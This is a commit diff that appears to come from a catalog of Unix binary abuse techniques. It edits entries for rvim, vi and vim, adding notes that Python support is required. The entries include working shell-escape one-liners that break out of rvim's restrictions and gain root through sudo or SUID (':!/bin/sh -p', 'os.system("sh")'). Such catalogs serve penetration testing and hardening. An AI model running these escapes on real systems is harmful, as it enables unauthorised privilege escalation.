Polish rvim, vi, and vim

This commit is contained in:
Emilio Pinna 2018-12-03 13:15:57 +00:00
parent bd0cad0433
commit 279381cf3c
3 changed files with 15 additions and 8 deletions

View File

@ -1,10 +1,11 @@
--- ---
description: 'From the manual: with rvim "It will not be possible to start shell commands".'
functions: functions:
shell: shell:
- code: rvim -c ':py import os;os.system("sh")' - description: This requires that rvim is compiled with Python support.
code: rvim -c ':py import os;os.system("sh")'
file-write: file-write:
- code: | - description: This requires that rvim is compiled with Python support.
code: |
rvim file_to_write rvim file_to_write
iDATA iDATA
^[ ^[
@ -12,7 +13,9 @@ functions:
file-read: file-read:
- code: rvim file_to_read - code: rvim file_to_read
suid: suid:
- code: ./rvim -c ':py import os;os.system("sh")' - description: This requires that rvim is compiled with Python support.
code: ./rvim -c ':py import os;os.system("sh")'
sudo: sudo:
- code: sudo rvim -c ':py import os;os.system("sh")' - description: This requires that rvim is compiled with Python support.
code: sudo rvim -c ':py import os;os.system("sh")'
--- ---

View File

@ -6,7 +6,8 @@ functions:
vi vi
:set shell=/bin/sh :set shell=/bin/sh
:shell :shell
- code: vi -c ':py import os;os.system("sh")' - description: This requires that vi is compiled with Python support.
code: vi -c ':py import os;os.system("sh")'
file-write: file-write:
- code: | - code: |
vi file_to_write vi file_to_write
@ -19,5 +20,6 @@ functions:
- code: ./vi -c ':!/bin/sh -p' - code: ./vi -c ':!/bin/sh -p'
sudo: sudo:
- code: sudo vi -c ':!/bin/sh' - code: sudo vi -c ':!/bin/sh'
- code: sudo vi -c ':py import os;os.system("sh")' - description: This requires that vi is compiled with Python support.
code: sudo vi -c ':py import os;os.system("sh")'
--- ---

View File

@ -6,7 +6,8 @@ functions:
vim vim
:set shell=/bin/sh :set shell=/bin/sh
:shell :shell
- code: vim -c ':py import os;os.system("sh")' - description: This requires that vim is compiled with Python support.
code: vim -c ':py import os;os.system("sh")'
file-write: file-write:
- code: | - code: |
vim file_to_write vim file_to_write
@ -20,4 +21,5 @@ functions:
sudo: sudo:
- code: sudo vim -c ':!/bin/sh' - code: sudo vim -c ':!/bin/sh'
- code: sudo vim -c ':py import os;os.system("sh")' - code: sudo vim -c ':py import os;os.system("sh")'
description: This requires that vim is compiled with Python support.
--- ---